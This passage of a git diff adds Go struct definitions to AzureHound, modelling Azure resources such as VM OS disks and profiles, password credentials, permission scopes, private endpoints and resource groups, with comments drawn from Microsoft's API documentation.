by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies information about the operating system disk used by the virtual machine. +// For more information about disks, see About disks and VHDs for Azure virtual machines. +type OSDisk struct { + // Specifies the caching requirements. + // Possible values are: + // None + // ReadOnly + // ReadWrite + // + // Default: None for Standard storage. ReadOnly for Premium storage. + Caching string `json:"caching,omitempty"` + + // Specifies how the virtual machine should be created. + // Possible values are: + // Attach - This value is used when you are using a specialized disk to create the virtual machine. + // FromImage - This value is used when you are using an image to create the virtual machine. If you are using a platform image, you also use the imageReference element described above. If you are using a marketplace image, you also use the plan element previously described. + CreateOption string `json:"createOption,omitempty"` + + // Specifies whether data disk should be deleted or detached upon VM deletion. + // Possible values: + // Delete - If this value is used, the data disk is deleted when VM is deleted. + // Detach - If this value is used, the data disk is retained after VM is deleted. + // The default value is set to detach. For an ephemeral OS Disk, the default value is set to Delete. User cannot change the delete option for ephemeral OS Disk. + DeleteOption string `json:"deleteOption,omitempty"` + + // Specifies the ephemeral Disk Settings for the operating system disk used by the virtual machine. + DiffDiskSettings DiffDiskSettings `json:"diffDiskSettings,omitempty"` + + // Specifies the size of an empty data disk in gigabytes. + // This element can be used to overwrite the size of the disk in a virtual machine image. + // This value cannot be larger than 1023 GB + DiskSizeGB int `json:"diskSizeGB,omitempty"` + + // Specifies the encryption settings for the OS Disk. + // Minimum api-version: 2015-06-15 + EncryptionSettings DiskEncryptionSettings `json:"encryptionSettings,omitempty"` + + // The source user image virtual hard disk. The virtual hard disk will be copied before being attached to the + // virtual machine. If SourceImage is provided, the destination virtual hard drive must not exist. + Image VirtualHardDisk `json:"image,omitempty"` + + // The managed disk parameters. + ManagedDisk ManagedDiskParameters `json:"managedDisk,omitempty"` + + // The disk name. + Name string `json:"name,omitempty"` + + // This property allows you to specify the type of the OS that is included in the disk if creating a VM from user-image or a specialized VHD. + // Possible values are: + // - Windows + // - Linux + OSType string `json:"osType,omitempty"` + + // The virtual hard disk. + Vhd VirtualHardDisk `json:"vhd,omitempty"` + + // Specifies whether writeAccelerator should be enabled or disabled on the disk. + WriteAcceleratorEnabled bool `json:"writeAcceleratorEnabled,omitempty"` +} diff --git a/models/azure/os_profile.go b/models/azure/os_profile.go new file mode 100644 index 0000000..3b95fc6 --- /dev/null +++ b/models/azure/os_profile.go @@ -0,0 +1,80 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies the operating system settings for the virtual machine. Some of the settings cannot be changed once VM is +// provisioned. +type OSProfile struct { + // Specifies the password of the administrator account. + // Minimum-length (Windows): 8 characters + // Minimum-length (Linux): 6 characters + // Max-length (Windows): 123 characters + // Max-length (Linux): 72 characters + // Complexity requirements: 3 out of 4 conditions below need to be fulfilled + // Has lower characters + // Has upper characters + // Has a digit + // Has a special character (Regex match [\W_]) + // Disallowed values: "abc@123", "P@$$w0rd", "P@ssw0rd", "P@ssword123", "Pa$$word", "pass@word1", "Password!", "Password1", "Password22", "iloveyou!" + // For resetting the password, see How to reset the Remote Desktop service or its login password in a Windows VM + // For resetting root password, see Manage users, SSH, and check or repair disks on Azure Linux VMs using the VMAccess Extension + AdminPassword string `json:"adminPassword,omitempty,omitempty"` + + // Specifies the name of the administrator account. + // This property cannot be updated after the VM is created. + // Windows-only restriction: Cannot end in "." + // Disallowed values: "administrator", "admin", "user", "user1", "test", "user2", "test1", "user3", "admin1", "1", "123", "a", "actuser", "adm", "admin2", "aspnet", "backup", "console", "david", "guest", "john", "owner", "root", "server", "sql", "support", "support_388945a0", "sys", "test2", "test3", "user4", "user5". + // Minimum-length (Linux): 1 character + // Max-length (Linux): 64 characters + // Max-length (Windows): 20 characters. + AdminUsername string `json:"adminUsername,omitempty,omitempty"` + + // Specifies whether extension operations should be allowed on the virtual machine. + // This may only be set to False when no extensions are present on the virtual machine. + AllowExtensionOperations bool `json:"allowExtensionOperations,omitempty,omitempty"` + + // Specifies the host OS name of the virtual machine. + // This name cannot be updated after the VM is created. + // Max-length (Windows): 15 characters + // Max-length (Linux): 64 characters. + // For naming conventions and restrictions see Azure infrastructure services implementation guidelines. + ComputerName string `json:"computerName,omitempty,omitempty"` + + // Specifies a base-64 encoded string of custom data. The base-64 encoded string is decoded to a binary array that is saved as a file on the Virtual Machine. The maximum length of the binary array is 65535 bytes. + // Note: Do not pass any secrets or passwords in customData property + // This property cannot be updated after the VM is created. + // customData is passed to the VM to be saved as a file, for more information see Custom Data on Azure VMs + // For using cloud-init for your Linux VM, see Using cloud-init to customize a Linux VM during creation + CustomData string `json:"customData,omitempty,omitempty"` + + // Specifies the Linux operating system settings on the virtual machine. + // For a list of supported Linux distributions, see Linux on Azure-Endorsed Distributions. + LinuxConfiguration LinuxConfiguration `json:"linuxConfiguration,omitempty,omitempty"` + + // Specifies whether the guest provision signal is required to infer provision success of the virtual machine. + // Note: This property is for private testing only, and all customers must not set the property to false. + RequireGuestProvisionSignal bool `json:"requireGuestProvisionSignal,omitempty,omitempty"` + + // Specifies set of certificates that should be installed onto the virtual machine. To install certificates on a + // virtual machine it is recommended to use the Azure Key Vault virtual machine extension for Linux or the + // Azure Key Vault virtual machine extension for Windows. + Secrets []VaultSecretGroup `json:"secrets,omitempty,omitempty"` + + // Specifies Windows operating system settings on the virtual machine. + WindowsConfiguration WindowsConfiguration `json:"windowsConfiguration,omitempty,omitempty"` +} diff --git a/models/azure/parent_group_info.go b/models/azure/parent_group_info.go new file mode 100644 index 0000000..0b03dbd --- /dev/null +++ b/models/azure/parent_group_info.go @@ -0,0 +1,24 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type ParentGroupInfo struct { + DisplayName string `json:"displayName,omitempty"` + Id string `json:"id,omitempty"` + Name string `json:"name,omitempty"` +} diff --git a/models/azure/parental_controls_settings.go b/models/azure/parental_controls_settings.go new file mode 100644 index 0000000..a18ebbd --- /dev/null +++ b/models/azure/parental_controls_settings.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +// Specifies parental control settings for an application. These settings control the consent experience. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/parentalcontrolsettings?view=graph-rest-1.0 +type ParentalControlSettings struct { + // Specifies the ISO 3166 country codes for which access to the application will be blocked for minors. + CountriesBlockedForMinors []string `json:"countriesBlockedForMinors,omitempty"` + // Specifies the legal age group rule that applies to users of the app. + LegalAgeGroupRule enums.LegalAgeGroupRule `json:"legalAgeGroupRule,omitempty"` +} diff --git a/models/azure/password_credential.go b/models/azure/password_credential.go new file mode 100644 index 0000000..b67b96d --- /dev/null +++ b/models/azure/password_credential.go @@ -0,0 +1,47 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/gofrs/uuid" + +// Represents a password credential associated with an application or a service principal. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/passwordcredential?view=graph-rest-1.0 +type PasswordCredential struct { + // Friendly name for the password. Optional. + DisplayName string `json:"displayName,omitempty"` + + // The date and time at which the password expires represented using ISO 8601 format and is always in UTC time. + // For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. Optional. + EndDateTime string `json:"endDateTime,omitempty"` + + // Contains the first three characters of the password. Read-only. + Hint string `json:"hint,omitempty"` + + // The unique identifier for the password. + KeyId uuid.UUID `json:"keyId,omitempty"` + + // Read-only; Contains the strong passwords generated by Azure AD that are 16-64 characters in length. + // The generated password value is only returned during the initial POST request to addPassword. There is no way to + // retrieve this password in the future. + SecretText string `json:"secretText,omitempty"` + + // The date and time at which the password becomes valid. The Timestamp type represents date and time information + // using ISO 8601 format and is always in UTC time. + // For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. Optional. + StartDateTime string `json:"startDateTime,omitempty"` +} diff --git a/models/azure/password_profile.go b/models/azure/password_profile.go new file mode 100644 index 0000000..9e84fa6 --- /dev/null +++ b/models/azure/password_profile.go @@ -0,0 +1,38 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Contains the password profile associated with a user. +type PasswordProfile struct { + // true if the user must change her password on the next login; otherwise false. If not set, default is false. + // NOTE: For Azure B2C tenants, set to false and instead use custom policies and user flows to force password reset + // at first sign in. + ForceChangePasswordNextSignIn bool `json:"forceChangePasswordNextSignIn,omitempty"` + + // If true, at next sign-in, the user must perform a multi-factor authentication (MFA) before being forced to change + // their password. The behavior is identical to forceChangePasswordNextSignIn except that the user is required to + // first perform a multi-factor authentication before password change. After a password change, this property will + // be automatically reset to false. If not set, default is false. + ForceChangePasswordNextSignInWithMfa bool `json:"forceChangePasswordNextSignInWithMfa,omitempty"` + + // The password for the user. This property is required when a user is created. + // It can be updated, but the user will be required to change the password on the next login. + // The password must satisfy minimum requirements as specified by the user’s passwordPolicies property. + // By default, a strong password is required. + Password string `json:"password,omitempty"` +} diff --git a/models/azure/permission_scope.go b/models/azure/permission_scope.go new file mode 100644 index 0000000..e3f02c2 --- /dev/null +++ b/models/azure/permission_scope.go @@ -0,0 +1,67 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/gofrs/uuid" + +// Represents the definition of a delegated permission. +// +// Delegated permissions can be requested by client applications needing an access token to the API which defined the +// permissions. Delegated permissions can be requested dynamically, using the scopes parameter in an authorization request +// to the Microsoft identity platform, or statically, through the requiredResourceAccess collection on the application +// object. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/permissionscope?view=graph-rest-1.0 +type PermissionScope struct { + // A description of the delegated permissions, intended to be read by an administrator granting the permission on + // behalf of all users. This text appears in tenant-wide admin consent experiences. + AdminConsentDescription string `json:"adminConsentDescription,omitempty"` + + // The permission's title, intended to be read by an administrator granting the permission on behalf of all users. + AdminConsentDisplayName string `json:"adminConsentDisplayName,omitempty"` + + // Unique delegated permission identifier inside the collection of delegated permissions defined for a resource + // application. + Id uuid.UUID `json:"id,omitempty"` + + // When creating or updating a permission, this property must be set to true (which is the default). To delete a + // permission, this property must first be set to false. At that point, in a subsequent call, the permission may be + // removed. + IsEnabled bool `json:"isEnabled,omitempty"` + + // Specifies whether this delegated permission should be considered safe for non-admin users to consent to on behalf + // of themselves, or whether an administrator should be required for consent to the permissions. This will be the + // default behavior, but each customer can choose to customize the behavior in their organization (by allowing, + // restricting or limiting user consent to this delegated permission.) + Type string `json:"type,omitempty"` + + // A description of the delegated permissions, intended to be read by a user granting the permission on their own + // behalf. This text appears in consent experiences where the user is consenting only on behalf of themselves. + UserConsentDescription string `json:"userConsentDescription,omitempty"` + + // A title for the permission, intended to be read by a user granting the permission on their own behalf. This text + // appears in consent experiences where the user is consenting only on behalf of themselves. + UserConsentDisplayName string `json:"userConsentDisplayName,omitempty"` + + // Specifies the value to include in the scp (scope) claim in access tokens. + // Must not exceed 120 characters in length. + // Allowed characters are : ! # $ % & ' ( ) * + , - . / : ; < = > ? @ [ ] ^ + _ ` { | } ~, as well as characters in + // the ranges 0-9, A-Z and a-z. + // Any other character, including the space character, are not allowed. + // May not begin with .. + Value string `json:"value,omitempty"` +} diff --git a/models/azure/plan.go b/models/azure/plan.go new file mode 100644 index 0000000..b529be5 --- /dev/null +++ b/models/azure/plan.go @@ -0,0 +1,37 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies information about the marketplace image used to create the virtual machine. This element is only used for +// marketplace images. Before you can use a marketplace image from an API, you must enable the image for programmatic +// use. In the Azure portal, find the marketplace image that you want to use and then click Want to deploy +// programmatically, Get Started ->. Enter any required information and then click Save. +type Plan struct { + // The plan ID. + Name string `json:"name,omitempty"` + + // Specifies the product of the image from the marketplace. This is the same value as Offer under the imageReference + // element. + Product string `json:"product,omitempty"` + + // The promotion code. + PromotionCode string `json:"promotionCode,omitempty"` + + // The publisher ID. + Publisher string `json:"publisher,omitempty"` +} diff --git a/models/azure/preauthorized_application.go b/models/azure/preauthorized_application.go new file mode 100644 index 0000000..f4561ee --- /dev/null +++ b/models/azure/preauthorized_application.go @@ -0,0 +1,31 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Lists the client applications that are pre-authorized with the specified permissions to access this application's +// APIs. Users are not required to consent to any pre-authorized application (for the permissions specified). However, +// any additional permissions not listed in preAuthorizedApplications (requested through incremental consent for +// example) will require user consent. +type PreAuthorizedApplication struct { + // The unique identifier for the application. + AppId string `json:"appId,omitempty"` + // The unique identifiers for the OAuth2PermissionScopes the application requires. + PermissionIds []string `json:"permissionIds,omitempty"` + // The unique identifiers for the OAuth2PermissionScopes the application requires. + DelegatedPermissionIds []string `json:"delegatedPermissionIds,omitempty"` +} diff --git a/models/azure/privacy_profile.go b/models/azure/privacy_profile.go new file mode 100644 index 0000000..91f4fb1 --- /dev/null +++ b/models/azure/privacy_profile.go @@ -0,0 +1,32 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Represents a company's privacy profile, which includes a privacy statement URL and a contact person for questions +// regarding the privacy statement. +type PrivacyProfile struct { + // A valid smtp email address for the privacy statement contact. + // Not required. + ContactEmail string `json:"contactEmail,omitempty"` + + // The URL that directs to the company's privacy statement. + // A valid URL format that begins with http:// or https://. + // Maximum length is 255 characters. + // Not required. + StatementUrl string `json:"statementUrl,omitempty"` +} diff --git a/models/azure/private_endpoint.go b/models/azure/private_endpoint.go new file mode 100644 index 0000000..1f48810 --- /dev/null +++ b/models/azure/private_endpoint.go @@ -0,0 +1,23 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type PrivateEndpoint struct { + // Full identifier of the private endpoint resource. + Id string `json:"id,omitempty"` +} diff --git a/models/azure/private_endpoint_connection.go b/models/azure/private_endpoint_connection.go new file mode 100644 index 0000000..83e31a4 --- /dev/null +++ b/models/azure/private_endpoint_connection.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Private endpoint connection item. +type PrivateEndpointConnection struct { + Entity + + Name string `json:"name,omitempty"` + Type string `json:"type,omitempty"` + + Properties PrivateEndpointConnectionProperties `json:"properties,omitempty"` +} diff --git a/models/azure/private_endpoint_connection_item.go b/models/azure/private_endpoint_connection_item.go new file mode 100644 index 0000000..7a74555 --- /dev/null +++ b/models/azure/private_endpoint_connection_item.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Private endpoint connection item. +type PrivateEndpointConnectionItem struct { + // Modified whenever there is a change in the state of private endpoint connection. + Etag string `json:"etag,omitempty"` + + // Id of private endpoint connection. + Id string `json:"id,omitempty"` + + Properties ConnectionItemProperties `json:"properties,omitempty"` +} diff --git a/models/azure/private_endpoint_connection_properties.go b/models/azure/private_endpoint_connection_properties.go new file mode 100644 index 0000000..7998174 --- /dev/null +++ b/models/azure/private_endpoint_connection_properties.go @@ -0,0 +1,31 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Private endpoint connection item. +type PrivateEndpointConnectionProperties struct { + GroupIds []string `json:"groupIds,omitempty"` + PrivateEndpoint Entity `json:"privateEndpoint,omitempty"` + PrivateLinkServiceConnectionState PrivateLinkServiceConnectionStateProperty `json:"privateLinkServiceConnectionState,omitempty"` +} + +type PrivateLinkServiceConnectionStateProperty struct { + ActionsRequired string `json:"actionsRequired,omitempty"` + Description string `json:"description,omitempty"` + Status string `json:"status,omitempty"` +} diff --git a/models/azure/private_endpoint_connection_resource.go b/models/azure/private_endpoint_connection_resource.go new file mode 100644 index 0000000..f883ab8 --- /dev/null +++ b/models/azure/private_endpoint_connection_resource.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Private endpoint connection item. +type PrivateEndpointConnectionResource struct { + Id string `json:"id,omitempty"` + Name string `json:"name,omitempty"` + Properties ConnectionItemProperties `json:"properties,omitempty"` + Type string `json:"type,omitempty"` +} diff --git a/models/azure/private_link_service_connection_state.go b/models/azure/private_link_service_connection_state.go new file mode 100644 index 0000000..419bd10 --- /dev/null +++ b/models/azure/private_link_service_connection_state.go @@ -0,0 +1,32 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +// An object that represents the approval state of the private link connection. +type PrivateLinkServiceConnectionState struct { + // A message indicating if changes on the service provider require any updates on the consumer. + ActionsRequired string `json:"actionsRequired,omitempty"` + + // The reason for approval or rejection. + Description string `json:"description,omitempty"` + + // Indicates whether the connection has been approved, rejected or removed by the key vault owner. + Status enums.EndpointConnectionStatus `json:"status,omitempty"` +} diff --git a/models/azure/provisioned_plan.go b/models/azure/provisioned_plan.go new file mode 100644 index 0000000..c16b43e --- /dev/null +++ b/models/azure/provisioned_plan.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type ProvisionedPlan struct { + // For example, “Enabled”. + CapabilityStatus string `json:"capabilityStatus,omitempty"` + + // For example, “Success”. + ProvisioningStatus string `json:"provisioningStatus,omitempty"` + + // The name of the service; for example, “AccessControlS2S” + Service string `json:"service,omitempty"` +} diff --git a/models/azure/public_client_application.go b/models/azure/public_client_application.go new file mode 100644 index 0000000..71356d8 --- /dev/null +++ b/models/azure/public_client_application.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies settings for non-web app or non-web API (for example, mobile or other public clients such as an installed +// application running on a desktop device). +type PublicClientApplication struct { + // Specifies the URLs where user tokens are sent for sign-in, or the redirect URIs where OAuth 2.0 authorization + // codes and access tokens are sent. + RedirectUris []string `json:"redirectUris,omitempty"` +} diff --git a/models/azure/push_settings.go b/models/azure/push_settings.go new file mode 100644 index 0000000..85a7dee --- /dev/null +++ b/models/azure/push_settings.go @@ -0,0 +1,33 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type PushSettings struct { + Id string `json:"id,omitempty"` + Kind string `json:"kind,omitempty"` + Name string `json:"name,omitempty"` + Properties PushSettingsProperties `json:"properties,omitempty"` + Type string `json:"type,omitempty"` +} + +type PushSettingsProperties struct { + DynamicTagsJson string `json:"dynamicTagsJson,omitempty"` + IsPushEnabled bool `json:"isPushEnabled,omitempty"` + TagWhitelistJson string `json:"tagWhitelistJson,omitempty"` + TagsRequiringAuth string `json:"tagsRequiringAuth,omitempty"` +} diff --git a/models/azure/required_resource_access.go b/models/azure/required_resource_access.go new file mode 100644 index 0000000..1df51f4 --- /dev/null +++ b/models/azure/required_resource_access.go @@ -0,0 +1,45 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/gofrs/uuid" +) + +// Object used to specify an OAuth 2.0 permission scope or an app role that an application requires. +type ResourceAccess struct { + // The unique identifier for one of the OAuth2PermissionScopes or AppRole instances that the resource application + // exposes. + Id uuid.UUID `json:"id,omitempty"` + + // Specifies whether the {@link Id} property references an OAuth2PermissionScope or AppRole. + Type enums.AccessType `json:"type,omitempty"` +} + +// Specifies the set of OAuth 2.0 permission scopes and app roles under the specified resource that an application +// requires access to. The application may request the specified OAuth 2.0 permission scopes or app roles through the +// requiredResourceAccess property. +type RequiredResourceAccess struct { + // The list of OAuth2.0 permission scopes and app roles that the application requires from the specified resource. + ResourceAccess []ResourceAccess `json:"resourceAccess,omitempty"` + + // The unique identifier for the resource that the application requires access to. This should be equal to the + // {@link AppId} declared on the target resource application. + ResourceAppId string `json:"resourceAppId,omitempty"` +} diff --git a/models/azure/resource_group.go b/models/azure/resource_group.go new file mode 100644 index 0000000..3f73076 --- /dev/null +++ b/models/azure/resource_group.go @@ -0,0 +1,41 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type ResourceGroup struct { + Entity + + // The location of the resource group. It cannot be changed after the resource group has been created. It must be + // one of the supported Azure locations. + Location string `json:"location,omitempty"` + + // The ID of the resource that manages this resource group. + ManagedBy string `json:"managedBy,omitempty"` + + // The name of the resource group. + Name string `json:"name,omitempty"` + + // The resource group properties. + Properties ResourceGroupProperties `json:"properties,omitempty"` + + // The tags attached to the resource group. + Tags map[string]string `json:"tags,omitempty"` + + // The type of the resource group. + Type string `json:"type,omitempty"` +} diff --git a/models/azure/resource_group_props.go b/models/azure/resource_group_props.go new file mode 100644 index 0000000..29c60f1 --- /dev/null +++ b/models/azure/resource_group_props.go @@ -0,0 +1,22 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the 